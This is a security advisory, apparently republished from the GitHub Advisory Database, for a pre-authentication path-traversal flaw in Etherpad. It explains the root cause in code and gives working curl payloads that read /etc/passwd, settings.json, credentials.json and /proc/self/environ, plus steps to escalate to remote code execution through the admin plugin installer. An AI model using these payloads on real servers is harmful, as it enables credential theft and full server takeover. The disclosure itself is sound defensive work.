Etherpad: Pre-auth arbitrary file read
Summary
An unauthenticated path-traversal / arbitrary file read vulnerability in Etherpad's /static/* handler allows any remote, unauthenticated user to read any file on the server's filesystem (e.g. GET /static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd returns /etc/passwd) available to the user running the Etherpad software. Because the endpoint is mounted before the authentication middleware, no credentials, session, or configuration changes are required. The read primitive could escalate to a full server compromise: on a typical deployment by disclosing settings.json / credentials.json / /proc/self/environ, which contain the admin password, providing an attacker an admin session and, through the admin plugin installer, remote code execution.
Details
Etherpad serves plugin static assets through src/node/utils/Minify.ts. The request path is first passed through the canonical sanitizer src/node/utils/sanitizePathname.ts, which converts backslashes to forward slashes only on Windows:
// src/node/utils/sanitizePathname.ts:11-20
p = pathApi.normalize(p);
if (pathApi.isAbsolute(p)) throw new Error(`absolute paths are forbidden: ${p}`);
if (p.split(pathApi.sep)[0] === '..') throw new Error(`directory traversal: ${p}`);
// THIS CONVERSION MUST ONLY BE DONE ON WINDOWS, otherwise on POSIXish systems '..\\' in the input
// pathname would not be normalized away before being converted to '../'.
if (pathApi.sep === '\\') p = p.replace(/\\/g, '/');
On Linux, a backslash is an ordinary filename byte, so an input segment like ..\..\..\test contains no ./.. path components and passes every check in sanitizePathname unchanged. The project's own test suite confirms this: src/tests/backend-new/specs/sanitizePathname.ts:62 lists ['posix', '..\\foo'] among the accepted paths (returned unchanged).
The vulnerability occurs because Minify.ts then performs that Windows-only conversion unconditionally, after the sanitizer has run, justified by a comment asserting the opposite of the invariant above:
// src/node/utils/Minify.ts:171-186
const match = filename.match(/^plugins\/([^/]+)(\/(?:(static\/.*)|.*))?$/);
if (match) {
const library = match[1];
const libraryPath = match[2] || '';
if (plugins.plugins[library] && match[3]) {
const plugin = plugins.plugins[library];
const pluginPath = plugin.package.realPath; // for 'ep_etherpad-lite' == <root>/src
filename = path.join(pluginPath, libraryPath); // -> absolute path, backslashes preserved
// ... "This conversion does not introduce a directory
// traversal vulnerability because all '..\\' substrings have already been removed by
// sanitizePathname." // <-- FALSE on POSIX
filename = filename.replace(/\\/g, '/'); // <-- reintroduces ../ AFTER the check
}
After line 186, the string becomes a real traversal (<root>/src/static/../../../../etc/passwd) with no re-normalization and no containment check before the filesystem calls at Minify.ts:248 (fs.stat) and Minify.ts:315 (fs.readFile). Because path.join at line 179 produces an absolute path, path.resolve(ROOT_DIR, filename) discards ROOT_DIR entirely, and POSIX path.resolve collapses surplus .. at /, making the payload root-depth-agnostic.
The route is reachable pre-authentication. It is registered on the expressPreSession hook:
// src/ep.json
{ "name": "static", "hooks": { "expressPreSession": "ep_etherpad-lite/node/hooks/express/static" } }
// src/node/hooks/express/static.ts:38
app.all('/static/*filename', minify);
and expressPreSession runs before the authentication middleware:
// src/node/hooks/express.ts:244-247
await hooks.aCallAll('expressPreSession', {app, settings}); // static route registered here
app.use(exports.sessionMiddleware);
app.use(webaccess.checkAccess); // auth runs AFTER
The plugin branch is always taken because src/static/js/pluginfw/plugins.ts:153-158 unconditionally registers the core pseudo-plugin ep_etherpad-lite with package.realPath = <root>/src.
Two decoding characteristics make the exploit functional: Express 5 / path-to-regexp v8 decodes wildcard parameters per segment once ((v) => v.split('/').map(decodeURIComponent)), so req.params.filename.join('/') (Minify.ts:147) yields the once-decoded path fed to the sanitizer, and %5C (encoded backslash) is the only working separator (%2F decodes to /, is re-split, and is rejected by the split('/')[ 0 ] === '..' guard).
PoC
Applies to a default production deployment (no special configuration; works on Linux, e.g. the Docker image or a systemd source install). Replace TARGET:9001 with the instance.
- Read
/etc/passwd(or any file) without authentication.--path-as-isprevents the client from folding the traversal:
curl --path-as-is \
'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd'
Other high-value reads (over-shooting the .. depth is absorbed at /):
Admin password + secrets, root-agnostic via /proc/self/cwd:
curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/settings.json'
curl --path-as-is
'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/credentials.json'
On docker-compose deployments, the admin password is an environment variable:
curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/environ'
Each response returns the raw file bytes (with a harmless Content-Type: false header for extension-less targets; Node coerces the value and does not throw).
- Escalate to RCE. Recover the admin credential from the files read in step 1, then:
Mint an admin session:
curl -i -X POST 'http://TARGET:9001/admin-auth/' \
-H "Authorization: Basic $(printf 'admin:PASSWORD' | base64)"
# -> 200 + Set-Cookie: <prefix>express_sid=...
Using that express_sid cookie, connect to the /pluginfw/installer Socket.IO namespace (gated only on session.user.is_admin, src/node/hooks/express/adminplugins.ts:22) and emit install for an attacker-controlled ep_* plugin. Etherpad require()s the plugin's code in-process during plugins.update() (src/static/js/pluginfw/shared.ts:30), executing arbitrary code as the Etherpad user.
Impact
- Type: Improper limitation of a pathname → unauthenticated arbitrary file read, with potential remote code execution.
- Access required: None. The vulnerable route is served before authentication/authorization middleware, so it is exploitable by any client able to reach the HTTP port, regardless of
requireAuthentication,requireAuthorization, or user configuration. - What an attacker can access: Any file readable by the Etherpad process user, including
settings.json/credentials.json(admin password,sessionKey, database credentials, SSO client secrets),/proc/self/environ(environment-supplied secrets such asADMIN_PASSWORD,DB_PASS), the pad database, TLS private keys, and OS files such as/etc/passwd. - Escalation: Disclosed admin credentials yield an admin session; the admin plugin installer then provides in-process code execution (full server takeover). Even without plugin installation, admin access permits rewriting configuration (
saveSettings+restartServer) and exfiltrating stored data. - Who is impacted: Operators running affected versions, most severely those exposing Etherpad directly to untrusted networks. Reverse proxies do not mitigate this issue, as the traversal uses
%5C, which proxies pass through unchanged.
What to do
Upgrade ep_etherpad-lite to version 3.3.3 or later.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | ep_etherpad-lite | >= 1.8.14, < 3.3.3 | 3.3.3 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-200, CWE-22, CWE-306- Platform
- npm
- Package
ep_etherpad-lite- Disclosed
- 20.11.2026
- Updated
- 21.11.2026 10:00
Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.
OSV / GitHub Advisory Database - GHSA-mc8w-wjhw-45x5 - CC BY 4.0
Vulnerability history: ep_etherpad-lite
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 7
- First → latest
- 05.2022 11.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 1
- Medium 4
Disclosures per year
- 2022: 1
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 6
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